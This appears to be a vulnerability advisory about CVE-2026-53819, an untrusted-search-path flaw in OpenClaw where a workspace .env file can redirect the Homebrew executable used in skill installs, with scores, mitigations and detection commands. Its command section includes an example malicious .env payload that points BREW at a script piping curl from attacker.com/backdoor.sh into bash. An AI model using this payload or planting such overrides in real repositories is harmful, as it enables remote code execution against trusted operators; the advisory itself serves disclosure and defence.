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How CVE-2026-53819 Works
OpenClaw before version 2026.5.27 contains an arbitrary code execution vulnerability in its skill installation flows. The root cause is an untrusted search path (CWE-426): when a skill install flow is initiated, the helper determines which Homebrew executable to use by consulting environment variables. In affected versions, OpenClaw loads a `.env` file from the current working directory (the workspace) before establishing a trusted configuration state.
If an attacker places a malicious `.env` file inside a workspace that a trusted operator subsequently opens, that file can override the `PATH` or directly set the HOMEBREW_BIN/BREW environment variable to point to an attacker‑controlled executable. Because OpenClaw trusts the operator who opens the repository, this malicious workspace state is accepted as part of the trusted execution context.
When the skill installation helper later invokes Homebrew, it follows the overridden path and executes the unintended binary instead of the genuine Homebrew. This binary can be crafted to perform arbitrary actions—installing backdoors, exfiltrating secrets, or pivoting to other parts of the system—all with the privileges of the trusted operator who ran the skill install flow.
The flaw does not break OpenClaw’s overall trusted‑operator model: authenticated Gateway operators, installed plugins, and intentional local execution surfaces remain trusted. However, it creates a dangerous path where a lower‑trust input (a workspace `.env` file) can influence a trusted execution flow. The impact is highest when the affected feature is enabled and reachable, and when the operator’s configuration does not narrowly restrict which workspaces or channels are allowed.
The first stable patched version is 2026.5.27. The fix ensures that workspace‑provided environment variables are filtered or ignored during critical helper selection, preventing untrusted `.env` files from overriding the Homebrew executable path.
DailyCVE Form:
Platform: ……. OpenClaw
Version: …….. < 2026.5.27
Vulnerability :…… Untrusted Search Path (CWE-426)
Severity: ……. High (CVSS 8.7)
date: ………. 2026-05-28
Prediction: …… 2026-06-15
What Undercode Say
Analytics
- EPSS Score: 0.003 (21.2% ranking)
- CVSS v4 Vector: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N`
– CVSS v4 Base Score: 8.7 (High) - Exploit Maturity: Not defined (proof‑of‑concept expected within weeks)
- Automatable: Not defined (manual interaction likely required)
- Recovery: Not defined (system compromise may require full reinstall)
Bash Commands & Codes
Check OpenClaw version openclaw --version Detect vulnerable .env override (manual check) cat .env | grep -E "(BREW|HOMEBREW_BIN|PATH.brew)" Example malicious .env payload echo 'BREW=/tmp/malicious.sh' > .env echo '!/bin/bash' > /tmp/malicious.sh echo 'curl -s http://attacker.com/backdoor.sh | bash' >> /tmp/malicious.sh chmod +x /tmp/malicious.sh Simulate skill install flow (vulnerable context) openclaw skill install some-skill Mitigation: disable affected feature (if configurable) openclaw config set skill.brew_allow_override false Verify patch level (fixed version) openclaw --version | grep -q "2026.5.27" && echo "Patched" || echo "Vulnerable"
Exploit
An attacker with the ability to place a malicious `.env` file in a workspace (e.g., via a pull request, shared repository, or social engineering) can override the Homebrew executable selection. When a trusted operator opens that workspace and runs a skill install flow, the attacker‑controlled executable executes with the operator’s privileges. No authentication or additional permissions are required beyond workspace write access; the exploit is triggered passively when the operator performs the install action.
Protection
- Upgrade to OpenClaw version 2026.5.27 or later immediately.
- Avoid running skill install flows from untrusted workspaces until patched.
- Narrow channel and tool allowlists to reduce exposure.
- Avoid sharing a single Gateway between mutually untrusted users.
- Disable the affected feature when it is not needed (if a configuration flag exists).
- As general hardening, filter or ignore workspace‑provided environment variables during critical helper selection (the fix implements this).
Impact
Successful exploitation allows an attacker to execute arbitrary Homebrew‑compatible executables during skill setup, leading to full system compromise under the trusted operator’s privileges. Practical impact depends on the operator’s configuration and whether lower‑trust input can reach the vulnerable path. In shared or multi‑tenant environments, this vulnerability can enable lateral movement, data exfiltration, and persistent backdoor installation.
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Sources:
Reported By: github.com
Extra Source Hub:
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